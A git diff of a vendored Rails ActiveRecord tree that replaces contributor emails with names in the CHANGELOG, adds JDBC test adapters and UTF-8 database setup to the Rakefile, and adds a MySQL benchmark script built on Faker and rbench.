@@ -3888,7 +3960,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Worked around that connection can't be reset if allow_concurrency is off.  #2648 [Michael Schoen <schoenm@earthlink.net>]
 
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 [rtomayko@gmail.com]
+* Fixed SQL Server adapter to pass even more tests and do even better #2634 [Ryan Tomayko]
 
 * Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
 
@@ -3901,18 +3973,18 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson@gmail.com]
 
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [schoenm@earthlink.net]
+* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [Michael Schoen]
 
 * Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
 
 
 *1.12.2* (October 26th, 2005)
 
-* Allow symbols to rename columns when using SQLite adapter. #2531 [kevin.clark@gmail.com]
+* Allow symbols to rename columns when using SQLite adapter. #2531 [Kevin Clark]
 
 * Map Active Record time to SQL TIME.  #2575, #2576 [Robby Russell <robby@planetargon.com>]
 
-* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [skaes@web.de]
+* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [Stefan Kaes]
 
 * Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick@lenz.sh>]
 
@@ -3966,25 +4038,25 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Add test coverage for content_columns. #2432. [coffee2code]
 
-* Speed up for unthreaded environments. #2431. [skaes@web.de]
+* Speed up for unthreaded environments. #2431. [Stefan Kaes]
 
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [skaes@web.de]
+* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [Stefan Kaes]
 
-* Speed up the setting of table_name. #2428. [skaes@web.de]
+* Speed up the setting of table_name. #2428. [Stefan Kaes]
 
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [skaes@web.de]
+* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [Stefan Kaes]
 
 * Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael@schuerig.de>]
 
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [skaes@web.de]
+* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [Stefan Kaes]
 
 * Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael@schuerig.de>]
 
-* Add geometric type for postgresql adapter. #2233 [akaspick@gmail.com]
+* Add geometric type for postgresql adapter. #2233 [Andrew Kaspick]
 
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [skaes@web.de]
+* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [Stefan Kaes]
 
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [skaes@web.de]
+* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [Stefan Kaes]
 
 * Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363  [Chad Fowler <chad@chadfowler.com>, Nicholas Seckar]
 
@@ -4009,7 +4081,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 * Make update_attribute use the same writer method that update_attributes uses.
  #2237 [trevor@protocool.com]
 
-* Make migrations honor table name prefixes and suffixes. #2298 [Jakob S, Marcel Molina]
+* Make migrations honor table name prefixes and suffixes. #2298 [Jakob Skjerning, Marcel Molina Jr.]
 
 * Correct and optimize PostgreSQL bytea escaping.  #1745, #1837 [dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org]
 
@@ -4017,7 +4089,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
 
-* Added new symbol-driven approach to activating observers with Base#observers= [DHH]. Example:
+* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
 
     ActiveRecord::Base.observers = :cacher, :garbage_collector
 
@@ -4033,19 +4105,19 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
 
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Luetke]
+* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Lütke]
 
 * Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
 
 * Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
 
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina]
+* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina Jr.]
 
 * Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
 
 * Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
 
-* Added better exception error when unknown column types are used with migrations #1814 [fbeausoleil@ftml.net]
+* Added better exception error when unknown column types are used with migrations #1814 [François Beausoleil]
 
 * Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism@yahoo.com]
 
@@ -4061,13 +4133,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Make sure the schema_info table is created before querying the current version #1903
 
-* Fixtures ignore table name prefix and suffix #1987 [Jakob S]
+* Fixtures ignore table name prefix and suffix #1987 [Jakob Skjerning]
 
-* Add documentation for index_type argument to add_index method for migrations #2005 [blaine@odeo.com]
+* Add documentation for index_type argument to add_index method for migrations #2005 [Blaine]
 
 * Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
 
-* Make destroy return self #1913 [sebastian.kanthak@muehlheim.de]
+* Make destroy return self #1913 [Sebastian Kanthak]
 
 * Fix typo in validations documentation #1938 [court3nay]
 
@@ -4089,7 +4161,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
 
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Luetke]
+* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Lütke]
 
     class Comment < AR:B
       def self.search(q)
@@ -4121,19 +4193,19 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 *1.11.1* (11 July, 2005)
 
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olsen]
+* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olson]
 
 * Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler@kianta.com]
 
 * Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
 
-* Correct reflected table name for singular associations.  #1688 [court3nay@gmail.com]
+* Correct reflected table name for singular associations.  #1688 [court3nay]
 
 * Fixed optimistic locking with SQL Server #1660 [tom@popdog.net]
 
 * Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
 
-* Added better error message for "packets out of order" #1630 [courtenay]
+* Added better error message for "packets out of order" #1630 [court3nay]
 
 * Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
 
@@ -4144,7 +4216,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Changed logging of SQL statements to use the DEBUG level instead of INFO
 
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Luetke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
+* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
 
 * Added callback hooks to association collections #1549 [Florian Weber]. Example:
 
@@ -4167,13 +4239,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Speed up ActiveRecord#method_missing for the common case (read_attribute).
 
-* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [skaes@web.de]
+* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [Stefan Kaes]
 
 * Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
 
 * Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel@onemail.at]
 
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [michael@schuerig.de]
+* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [Michael Schuerig]
 
 * Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
 
@@ -4195,7 +4267,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       :conditions => 'project_id=1'
     )    
 
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina]
+* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina Jr.]
 
 * Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
 
@@ -4222,7 +4294,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Corrected typo in find SQL for has_and_belongs_to_many.  #1312 [ben@bensinclair.com]
 
-* Fixed sanitized conditions for has_many finder method.  #1281 [jackc@hylesanderson.com, pragdave, Tobias Luetke]
+* Fixed sanitized conditions for has_many finder method.  #1281 [jackc@hylesanderson.com, pragdave, Tobias Lütke]
 
 * Comprehensive PostgreSQL schema support.  Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables.  This allows you, for example, to have tables in a shared schema without having to use a custom table name.  See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more.  #827 [dave@cherryville.org]
 
@@ -4280,15 +4352,15 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     # SELECT * FROM topics WHERE title IN ('First', 'Second')
     Topic.find_all_by_title(["First", "Second"])
 
-* Added compatibility with camelCase column names for dynamic finders #533 [Dee.Zsombor]
+* Added compatibility with camelCase column names for dynamic finders #533 [Dee Zsombor]
 
-* Fixed extraneous comma in count() function that made it not work with joins #1156 [jarkko/Dee.Zsombor]
+* Fixed extraneous comma in count() function that made it not work with joins #1156 [Jarkko Laine/Dee Zsombor]
 
 * Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
 
 * Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny@mac.com]
 
-* Added encoding and min_messages options for PostgreSQL #1205 [shugo]. Configuration example:
+* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
 
     development:
       adapter: postgresql
@@ -4346,7 +4418,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     a single query.  A good use case for this is a threaded post system, where you want
     to display every reply to a comment without multiple selects.
 
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [After much pestering from Dave Thomas]
+* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [Dave Thomas]
 
 * Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1@gmail.com]
 
@@ -4376,7 +4448,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
 
-* Fixed that benchmarking times for rendering included db runtimes #987 [skaes@web.de]
+* Fixed that benchmarking times for rendering included db runtimes #987 [Stefan Kaes]
 
 * Fixed boolean queries for t/f fields in PostgreSQL #995 [dave@cherryville.org]
 
@@ -4384,9 +4456,9 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave@cherryville.org]
 
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [skaes@web.de]
+* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [Stefan Kaes]
 
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [skaes@web.de]
+* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [Stefan Kaes]
 
 * Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
 
@@ -4472,7 +4544,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     account.save # => CC with id = 12 is destroyed
 
 
-* Added validates_numericality_of #716 [skanthak/c.r.mcgrath]. Docuemntation:
+* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
 
     Validates whether the value of the specified attribute is numeric by trying to convert it to
     a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
@@ -4542,7 +4614,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     4. Added logic to the simplified_type method that allows the database to specify the scale of float data. 
     5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
 
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow@yahoo.com]
+* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow]
 
 * Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
     
@@ -4754,7 +4826,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     After:
       before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
 
-* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 [Josh]
+* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 [Josh Peek]
 
 * Added Base.default_timezone accessor that determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates 
   and times from the database. This is set to :local by default.
@@ -4773,7 +4845,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed handling of binary content in blobs and similar fields for Ruby/MySQL and SQLite #409 [xal]
 
-* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 [Tobias Luetke]
+* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 [Tobias Lütke]
 
 * Fixed that the const_missing autoload assumes the requested constant is set by require_association and calls const_get to retrieve it. 
   If require_association did not set the constant then const_get will call const_missing, resulting in an infinite loop #380 [Jeremy Kemper]
@@ -4814,7 +4886,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 * Added work-around for PostgreSQL and the problem of getting fixtures to be created from id 1 on each test case.
   This only works for auto-incrementing primary keys called "id" for now #359 [Scott Baron]
 
-* Added Base#clear_association_cache to empty all the cached associations #347 [Tobias Luetke]
+* Added Base#clear_association_cache to empty all the cached associations #347 [Tobias Lütke]
 
 * Added more informative exceptions in establish_connection #356 [Jeremy Kemper]
 
@@ -4831,7 +4903,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Added that query benchmarking will only happen if its going to be logged anyway #344
 
-* Added higher_item and lower_item as public methods for acts_as_list #342 [Tobias Luetke]
+* Added higher_item and lower_item as public methods for acts_as_list #342 [Tobias Lütke]
 
 * Fixed that options[:counter_sql] was overwritten with interpolated sql rather than original sql #355 [Jeremy Kemper]
 
@@ -4862,7 +4934,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       validates_inclusion_of :age, :in=>0..99
     end
 
-* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Luetke] Example:
+* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Lütke] Example:
 
     class TodoItem < ActiveRecord::Base
       acts_as_list :scope => :todo_list_id
@@ -4870,12 +4942,12 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     end
 
 * Added acts_as_tree that can decorates an existing class with a many to many relationship with itself. Perfect for categories in 
-  categories and the likes. [Tobias Luetke]
+  categories and the likes. [Tobias Lütke]
 
 * Added that Active Records will automatically record creation and/or update timestamps of database objects if fields of the names 
-  created_at/created_on or updated_at/updated_on are present. [Tobias Luetke]
+  created_at/created_on or updated_at/updated_on are present. [Tobias Lütke]
 
-* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place [Tobias Luetke]
+* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place [Tobias Lütke]
 
 * Added automatic transaction block around AssociationCollection.<<, AssociationCollection.delete, and AssociationCollection.destroy_all
 
@@ -4908,13 +4980,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       errors.on("name") # => "must be shorter"
 
 * Added Base.validates_format_of that Validates whether the value of the specified attribute is of the correct form by matching 
-  it against the regular expression provided. [Marcel]
+  it against the regular expression provided. [Marcel Molina Jr.]
 
     class Person < ActiveRecord::Base
       validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/, :on => :create
     end
 
-* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Luetke]. Example:
+* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Lütke]. Example:
 
     Validates that the specified attribute matches the length restrictions supplied in either:
     
@@ -5133,7 +5205,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that calling id would create the instance variable for new_records preventing them from being saved correctly [Jeremy Kemper]
 
-* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all [Sam Stephenson/bitsweat]
+* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all [Sam Stephenson/Jeremy Kemper]
 
 * Added that you can pass overlapping ids to find without getting duplicated records back [Jeremy Kemper]
 
@@ -5143,7 +5215,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that quotes would break regular non-yaml fixtures [Dmitry Sabanin/daft]
 
-* Fixed fixtures on windows with line endings cause problems under unix / mac [Tobias Luetke]
+* Fixed fixtures on windows with line endings cause problems under unix / mac [Tobias Lütke]
 
 * Added HasAndBelongsToManyAssociation#find(id) that'll search inside the collection and find the object or record with that id
 
@@ -5221,7 +5293,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     end
   
   This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
-  an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendent of a class not in
+  an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendant of a class not in
   the hierarchy. Example:
   
     class User < ActiveRecord::Base
@@ -5264,7 +5336,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       project.milestones << Milestone.find_all
     end
 
-* Added logging of invalid SQL statements [Suggested by Daniel Von Fange]
+* Added logging of invalid SQL statements [Daniel Von Fange]
 
 * Added alias Errors#[] for Errors#on, so you can now say person.errors["name"] to retrieve the errors for name [Andreas Schwarz]
 
@@ -5296,7 +5368,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Changed class inheritable attributes to not use eval [Caio Chassot]
 
-* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those [Marcel Molina Jr]
+* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those [Marcel Molina Jr.]
 
 * Fixed spelling on Base#add_on_boundry_breaking to Base#add_on_boundary_breaking (old naming still works) [Marcel Molina Jr.]
 
@@ -5717,7 +5789,7 @@ _Misc_
 *0.8.2*
 
 * Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
-  run throughout the entire inheritance hierarchy. Regardless of whether a descendent overwrites the callback
+  run throughout the entire inheritance hierarchy. Regardless of whether a descendant overwrites the callback
   method:
   
     class Topic < ActiveRecord::Base
@@ -5748,7 +5820,7 @@ _Misc_
 
 *0.8.1*
 
-* Added object-level transactions [Thanks to Austin Ziegler for Transaction::Simple]
+* Added object-level transactions [Austin Ziegler]
 
 * Changed adapter-specific connection methods to use centralized ActiveRecord::Base.establish_connection,
   which is parametized through a config hash with symbol keys instead of a regular parameter list.
@@ -5783,4 +5855,4 @@ _Misc_
 *0.7.6*
 
 * Fixed the install.rb to create the lib/active_record/support directory [Spotted by Gavin Sinclair]
-* Fixed that has_association? would always return true [Spotted by Daniel Von Fange]
+* Fixed that has_association? would always return true [Daniel Von Fange]
diff --git a/vendor/rails/activerecord/Rakefile b/vendor/rails/activerecord/Rakefile
index 90647267..2c5ad5c2 100644
--- a/vendor/rails/activerecord/Rakefile
+++ b/vendor/rails/activerecord/Rakefile
@@ -4,7 +4,6 @@ require 'rake/testtask'
 require 'rake/rdoctask'
 require 'rake/packagetask'
 require 'rake/gempackagetask'
-require 'rake/contrib/sshpublisher'
 
 require File.join(File.dirname(__FILE__), 'lib', 'active_record', 'version')
 require File.expand_path(File.dirname(__FILE__)) + "/test/config"
@@ -25,16 +24,38 @@ PKG_FILES = FileList[
     "lib/**/*", "test/**/*", "examples/**/*", "doc/**/*", "[A-Z]*", "install.rb", "Rakefile"
 ].exclude(/\bCVS\b|~$/)
 
+def run_without_aborting(*tasks)
+  errors = []
+
+  tasks.each do |task|
+    begin
+      Rake::Task[task].invoke
+    rescue Exception
+      errors << task
+    end
+  end
+
+  abort "Errors running #{errors.join(', ')}" if errors.any?
+end
 
 desc 'Run mysql, sqlite, and postgresql tests by default'
 task :default => :test
 
 desc 'Run mysql, sqlite, and postgresql tests'
-task :test => %w(test_mysql test_sqlite3 test_postgresql)
+task :test do
+  tasks = defined?(JRUBY_VERSION) ?
+    %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) :
+    %w(test_mysql test_sqlite3 test_postgresql)
+  run_without_aborting(*tasks)
+end
 
-for adapter in %w( mysql postgresql sqlite sqlite3 firebird db2 oracle sybase openbase frontbase )
+for adapter in %w( mysql postgresql sqlite sqlite3 firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb )
   Rake::TestTask.new("test_#{adapter}") { |t|
-    t.libs << "test" << "test/connections/native_#{adapter}"
+    if adapter =~ /jdbc/
+      t.libs << "test" << "test/connections/jdbc_#{adapter}"
+    else
+      t.libs << "test" << "test/connections/native_#{adapter}"
+    end
     adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z]+/]
     t.test_files=Dir.glob( "test/cases/**/*_test{,_#{adapter_short}}.rb" ).sort
     t.verbose = true
@@ -48,8 +69,8 @@ end
 namespace :mysql do
   desc 'Build the MySQL test databases'
   task :build_databases do
-    %x( mysqladmin --user=#{MYSQL_DB_USER} create activerecord_unittest )
-    %x( mysqladmin --user=#{MYSQL_DB_USER} create activerecord_unittest2 )
+    %x( echo "create DATABASE activerecord_unittest DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci " | mysql --user=#{MYSQL_DB_USER})
+    %x( echo "create DATABASE activerecord_unittest2 DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci " | mysql --user=#{MYSQL_DB_USER})
   end
 
   desc 'Drop the MySQL test databases'
@@ -70,8 +91,8 @@ task :rebuild_mysql_databases => 'mysql:rebuild_databases'
 namespace :postgresql do
   desc 'Build the PostgreSQL test databases'
   task :build_databases do
-    %x( createdb activerecord_unittest )
-    %x( createdb activerecord_unittest2 )
+    %x( createdb -E UTF8 activerecord_unittest )
+    %x( createdb -E UTF8 activerecord_unittest2 )
   end
 
   desc 'Drop the PostgreSQL test databases'
@@ -171,7 +192,7 @@ spec = Gem::Specification.new do |s|
     s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
   end
 
-  s.add_dependency('activesupport', '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('activesupport', '= 2.3.5' + PKG_BUILD)
 
   s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite"
   s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite"
@@ -225,12 +246,14 @@ end
 
 desc "Publish the beta gem"
 task :pgem => [:package] do
+  require 'rake/contrib/sshpublisher'
   Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
   `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
 end
 
 desc "Publish the API documentation"
 task :pdoc => [:rdoc] do
+  require 'rake/contrib/sshpublisher'
   Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ar", "doc").upload
 end
 
diff --git a/vendor/rails/activerecord/examples/performance.rb b/vendor/rails/activerecord/examples/performance.rb
new file mode 100755
index 00000000..53acd62f
--- /dev/null
+++ b/vendor/rails/activerecord/examples/performance.rb
@@ -0,0 +1,162 @@
+#!/usr/bin/env ruby -KU
+
+TIMES = (ENV['N'] || 10000).to_i
+
+require 'rubygems'
+gem 'addressable',  '~>2.0'
+gem 'faker',        '~>0.3.1'
+gem 'rbench',       '~>0.2.3'
+require 'addressable/uri'
+require 'faker'
+require 'rbench'
+
+__DIR__ = File.dirname(__FILE__)
+$:.unshift "#{__DIR__}/../lib"
+require 'active_record'
+
+conn = { :adapter => 'mysql',
+  :database => 'activerecord_unittest',
+  :username => 'rails', :password => '',
+  :encoding => 'utf8' }
+
+conn[:socket] = Pathname.glob(%w[
+  /opt/local/var/run/mysql5/mysqld.sock
+  /tmp/mysqld.sock
+  /tmp/mysql.sock
+  /var/mysql/mysql.sock
+  /var/run/mysqld/mysqld.sock
+]).find { |path| path.socket? }
+
+ActiveRecord::Base.establish_connection(conn)
+
+class User < ActiveRecord::Base
+  connection.create_table :users, :force => true do |t|
+    t.string :name, :email
+    t.timestamps
+  end
+
+  has_many :exhibits
+end
+
+class Exhibit < ActiveRecord::Base
+  connection.create_table :exhibits, :force => true do |t|
+    t.belongs_to :user
+    t.string :name
+    t.text :notes
+    t.timestamps
+  end
+
+  belongs_to :user
+
+  def look; attributes end
+  def feel; look; user.name end
+
+  def self.look(exhibits) exhibits.each { |e| e.look } end
+  def self.feel(exhibits) exhibits.each { |e| e.feel } end
+end
+
+sqlfile = "#{__DIR__}/performance.sql"
+
+if File.exists?(sqlfile)
+  mysql_bin = %w[mysql mysql5].select { |bin| `which #{bin}`.length > 0 }
+  `#{mysql_bin} -u #{conn[:username]} #{"-p#{conn[:password]}" unless conn[:password].blank?} #{conn[:database]} < #{sqlfile}`
+else
+  puts 'Generating data...'
+
+  # pre-compute the insert statements and fake data compilation,
+  # so the benchmarks below show the actual runtime for the execute
+  # method, minus the setup steps
+
+  # Using the same paragraph for all exhibits because it is very slow
+  # to generate unique paragraphs for all exhibits.
+  notes = Faker::Lorem.paragraphs.join($/)
+  today = Date.today
+
+  puts 'Inserting 10,000 users and exhibits...'
+  10_000.times do
+    user = User.create(
+      :created_at => today,
+      :name       => Faker::Name.name,
+      :email      => Faker::Internet.email
+    )
+
+    Exhibit.create(
+      :created_at => today,
+      :name       => Faker::Company.name,
+      :user       => user,
+      :notes      => notes
+    )
+  end
+
+  mysqldump_bin = %w[mysqldump mysqldump5].select { |bin| `which #{bin}`.length > 0 }
+  `#{mysqldump_bin} -u #{conn[:username]} #{"-p#{conn[:password]}" unless conn[:password].blank?} #{conn[:database]} exhibits users > #{sqlfile}`
+end
+
+RBench.run(TIMES) do
+  column :times
+  column :ar
+
+  report 'Model#id', (TIMES * 100).ceil do
+    ar_obj = Exhibit.find(1)
+
+    ar { ar_obj.id }
+  end
+
+  report 'Model.new (instantiation)' do
+    ar { Exhibit.new }
+  end
+
+  report 'Model.new (setting attributes)' do
+    attrs = { :name => 'sam' }
+    ar { Exhibit.new(attrs) }
+  end
+
+  report 'Model.first' do
+    ar { Exhibit.first.look }
+  end
+
+  report 'Model.all limit(100)', (TIMES / 10).ceil do
+    ar { Exhibit.look Exhibit.all(:limit => 100) }
+  end
+
+  report 'Model.all limit(100) with relationship', (TIMES / 10).ceil do
+    ar { Exhibit.feel Exhibit.all(:limit => 100, :include => :user) }
+  end
+
+  report 'Model.all limit(10,000)', (TIMES / 1000).ceil do
+    ar { Exhibit.look Exhibit.all(:limit => 10000) }
+  end
+
+  exhibit = {
+    :name       => Faker::Company.name,
+    :notes      => Faker::Lorem.paragraphs.join($/),
+    :created_at => Date.today
+  }
+
+  report 'Model.create' do
+    ar { Exhibit.create(exhibit) }
+  end
+
+  report 'Resource#attributes=' do
+    attrs_first  = { :name => 'sam' }
+    attrs_second = { :name => 'tom' }
+    ar { exhibit = Exhibit.new(attrs_first); exhibit.attributes = attrs_second }
+  end
+
+  report 'Resource#update' do
+    ar { Exhibit.first.update_attributes(:name => 'bob') }
+  end
+
+  report 'Resource#destroy' do
+    ar { Exhibit.first.destroy }
+  end
+
+  report 'Model.transaction' do
+    ar { Exhibit.transaction { Exhibit.new } }
+  end
+
+  summary 'Total'
+end
+
+ActiveRecord::Migration.drop_table "exhibits"
+ActiveRecord::Migration.drop_table "users"
diff --git a/vendor/rails/activerecord/lib/active_record.rb b/vendor/rails/activerecord/lib/active_record.rb
index 7fdef17a..2f8c5c71 100644
--- a/vendor/rails/activerecord/lib/active_record.rb
+++ b/vendor/rails/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
